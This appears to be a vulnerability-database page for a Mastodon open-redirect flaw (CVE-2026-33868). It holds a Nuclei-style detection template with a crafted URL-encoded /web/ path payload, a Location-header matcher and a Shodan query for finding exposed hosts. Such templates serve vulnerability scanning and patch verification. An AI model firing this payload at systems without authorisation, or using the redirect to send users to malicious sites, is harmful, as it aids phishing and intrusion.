CVE-2026-33868: Mastodon - Open Redirect

2026-04-09 Mastodon PoC Public

Description

Mastodon version < 4.5.8, < 4.4.15, < 4.3.21 is vulnerable to unauthenticated Open Redirect vulnerability (CWE-601) exists in the /web/* route due to improper handling of URL-encoded path segments.

PoC

id: CVE-2026-33868

info:
  name: Mastodon - Open Redirect
  author: theamanrawat
  severity: medium
  description: |
    Mastodon version < 4.5.8, < 4.4.15, < 4.3.21 is vulnerable to unauthenticated Open Redirect vulnerability (CWE-601) exists in the /web/* route due to improper handling of URL-encoded path segments.
  impact: |
    Redirect users to external domain.
  remediation: |
    Update Mastodon to versions 4.5.8, 4.4.15, 4.3.21.
  reference:
    - https://github.com/mastodon/mastodon/security/advisories/GHSA-xqw8-4j56-5hj6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2026-33868
    epss-score: 0.00473
    epss-percentile: 0.39863
    cwe-id: CWE-601
  metadata:
    verified: true
    vendor: mastodon
    product: mastodon
    shodan-query: html:"mastodon-"
  tags: cve,cve2026,mastodon,open-redirect,vuln,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/%2Finteract.sh:443"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header

      - type: status
        condition: or
        status:
          - 302
          - 301
# digest: 4a0a00473045022100de0a81343ba2ac3ce4c8b12077d4e2ffcf0d04cbfa61c0dd625279640ebc60db02204dbf0b2b1934b6058a782f0491dd5f88c244854277c4172084093fc580290380:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities